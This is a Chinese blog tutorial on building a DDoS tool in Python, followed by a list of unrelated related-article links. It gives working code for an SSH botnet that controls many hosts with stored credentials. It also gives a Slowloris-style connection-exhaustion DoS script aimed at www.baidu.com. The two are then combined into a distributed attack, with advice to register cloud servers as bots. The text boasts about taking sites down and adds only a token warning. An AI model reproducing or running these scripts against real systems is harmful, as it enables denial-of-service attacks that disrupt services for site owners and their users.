基于python实现的DDoS
本例子包含两个小程序,具体如下:
目录

一个简单的网络僵尸程序
下面是一个简单的网络僵尸程序,先通过添加n个客户端的ip和登录账户密码,然后操控这些客户端发动对同一个目标ping的指令。
如果有上网个分布在不同地区的客户端,其ping的威力是不小的,攻击一个小网站是不在话下。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
#import pxssh
from pexpect import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
print '[+] ' + output
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
#addClient('127.0.0.1', 'root', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('localhost', 'wu_being', 'wu.com')
# addClient('11.22.33.33', 'root', '123456')
# addClient('112.33.43.55', 'root', 'password')
botnetCommand('uname -v')
botnetCommand('ping www.baidu.com -c 4')
#botnetCommand('cat /etc/issue')
用法(这样运行的)
huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l
total 40
-rwxr-xr-x@ 1 huashida staff 1231 11 28 15:22 4-botNet构建SSH僵尸网络.py
-rwxr-xr-x@ 1 huashida staff 1648 11 28 15:16 5-botNet构建SSH僵尸网络ddos.py
-rwxr-xr-x@ 1 huashida staff 1967 11 28 15:16 DoS_constantConn_MultiThread.py
-rwxr-xr-x@ 1 huashida staff 1084 11 28 15:16 dos.py
-rwxr-xr-x@ 1 huashida staff 53 11 28 15:16 sshpass.txt
huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet构建SSH僵尸网络.py
一个简单的DOS攻击程序
DoS, Denial of Service, 拒绝服务,一种常用来使服务器或网络瘫痪的网络攻击手段。
我们要改的是这两处地方 改为:
- HOST="127.0.0.1"//你要撸的主机ip地址/域名
- PAGE="/welcome/default/index/index.py"//你要撸的页面
cmd命令行下执行脚本 刷刷刷,一连串socket连接。。。就开着呗。我们来看看现在网页还可以访问不? 显然被日瘫了。 别搞事情!
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=200000
PORT=8000
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "[+] Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "[-] Could not connect to server or send error:%s"%ex
time.sleep(2)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
print "[+] send OK! %s"%s
except Exception,ex:
print "[-] send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
用法和运行方式和上面一个类似,这里略过。
整合网络僵尸和DoS攻击——DDoS
如果觉得网络僵尸ping和简单的DoS还不够力,我们把上面的网络僵尸和DoS整合一下,成了传说中的DDos。

DDoS, Distributed Denial of Service, 分布式拒绝服务攻击,亦称作洪水攻击。DoS攻击与DDoS攻击的区别就是,它是一对一的攻击,而DDoS是分布式的攻击。
改进之处:
- 整合网络僵尸和DoS攻击;
- 实现每个肉鸡进行多线程Dos攻击
botnetCommand('python Dos_constantConn_MutilThread.py');
前提条件:
- 你要有不止一台可以做肉鸡的网络服务器(可以到阿里云、腾讯云、华为云多注册几台云服务器,当肉鸡)。
- 而且每个肉鸡客户端都可以运行python(一般linux服务器都自带python运行环境)。
程序可能问题:
- 有时把dos.py程序批量发到各个肉鸡服务器可能不成功,需要手工先发过去:
scp dos.py root@127.0.0.1:~/
基于python实现的DDoS
注:本文著作权归作者,由demo大师代发,拒绝转载,转载需要作者授权
基于python实现的DDoS的更多相关文章
- 【Machine Learning】决策树案例:基于python的商品购买能力预测系统
决策树在商品购买能力预测案例中的算法实现 作者:白宁超 2016年12月24日22:05:42 摘要:随着机器学习和深度学习的热潮,各种图书层出不穷.然而多数是基础理论知识介绍,缺乏实现的深入理解.本 ...
- 基于Python+Django的Kubernetes集群管理平台
➠更多技术干货请戳:听云博客 时至今日,接触kubernetes也有一段时间了,而我们的大部分业务也已经稳定地运行在不同规模的kubernetes集群上,不得不说,无论是从应用部署.迭代,还是从资源调 ...
- 关于《selenium2自动测试实战--基于Python语言》
关于本书的类型: 首先在我看来技术书分为两类,一类是“思想”,一类是“操作手册”. 对于思想类的书,一般作者有很多年经验积累,这类书需要细读与品位.高手读了会深有体会,豁然开朗.新手读了不止所云,甚至 ...
- psutil一个基于python的跨平台系统信息跟踪模块
受益于这个模块的帮助,在这里我推荐一手. https://pythonhosted.org/psutil/#processes psutil是一个基于python的跨平台系统信息监视模块.在pytho ...
- 一次完整的自动化登录测试-基于python+selenium进行cnblog的自动化登录测试
Web登录测试是很常见的测试!手动测试大家再熟悉不过了,那如何进行自动化登录测试呢!本文作者就用python+selenium结合unittest单元测试框架来进行一次简单但比较完整的cnblog自动 ...
- 搭建基于python +opencv+Beautifulsoup+Neurolab机器学习平台
搭建基于python +opencv+Beautifulsoup+Neurolab机器学习平台 By 子敬叔叔 最近在学习麦好的<机器学习实践指南案例应用解析第二版>,在安装学习环境的时候 ...
- 《Selenium2自动化测试实战--基于Python语言》 --即将面市
发展历程: <selenium_webdriver(python)第一版> 将本博客中的这个系列整理为pdf文档,免费. <selenium_webdriver(python)第 ...
- 从Theano到Lasagne:基于Python的深度学习的框架和库
从Theano到Lasagne:基于Python的深度学习的框架和库 摘要:最近,深度神经网络以“Deep Dreams”形式在网站中如雨后春笋般出现,或是像谷歌研究原创论文中描述的那样:Incept ...
- 基于python的互联网软件测试开发(自动化测试)-全集合
基于python的互联网软件测试开发(自动化测试)-全集合 1 关键字 为了便于搜索引擎收录本文,特别将本文的关键字给强调一下: python,互联网,自动化测试,测试开发,接口测试,服务测试,a ...
随机推荐
- js处理富文本编辑器转义、去除转义、去除HTML标签
富文本编辑器生成的HTML标签,进行转义,然后写入数据库,防止脚本注入: function htmlEncode(value){ return $('<div/>').text(value ...
- 火狐firefox插件配合scrapy,注意tbody会导致empty
有2个常有插件,一个是xpath checker,一个是firepath(配合firebug) xpath checker是个好东西,不仅可以分析,还可以验证自己抽取的xpath是否正确 但xpath ...
- 执行程序(例如UltraEdit)在WIN7下添加到右键菜单
把下面提供的代码复制到记事本,保存为注册表文件(*.reg),右键合并即可.注意把最后一行换成你自己的路径. Windows Registry Editor Version 5.00 [HKEY_CL ...
- 使用es索引遇到的问题记录
1设置es索引的运行内存: 直接在启动文件里面改就好,启动命令是elasticsearch.bat,用notepad++编辑这个文件,里面添加这样的一行:SET ES_HEAP_SIZE=10g即可 ...
- Bellman - Ford 算法解决最短路径问题
Bellman - Ford 算法: 一:基本算法 对于单源最短路径问题,上一篇文章中介绍了 Dijkstra 算法,但是由于 Dijkstra 算法局限于解决非负权的最短路径问题,对于带负权的图就力 ...
- UVA548 Tree (二叉树的遍历)
You are to determine the value of the leaf node in a given binary tree that is the terminal node of ...
- Java高级架构师(一)第10节:Spring+Mybatis实现DAO
maven配置memcached.jar 由于目前java memcached client没有官方的maven repository可供使用,因此使用时需要手动将其安装到本地repository. ...
- JNI概述
JNI是Java Native Interface的缩写,它提供了若干的API实现了Java和其他语言的通信(主要是C&C++). JNI 让你在利用强大 Java 平台的同时,使你仍然可以用 ...
- 转载:oracle11G 已开启监听,但远程连接依旧无监听解决过程
1.连接数据库显示无监听程序,首先查看服务器的oracle监听服务是否开启,服务名称:OracleOraDb11g_home1TNSListener(具体环境中可能不完全一样,但是认准TNSListe ...
- ActiveMQ实战-集群
原文:http://blog.csdn.net/lifetragedy/article/details/51869032 ActiveMQ的集群 内嵌代理所引发的问题: 消息过载 管理混乱 如何解决这 ...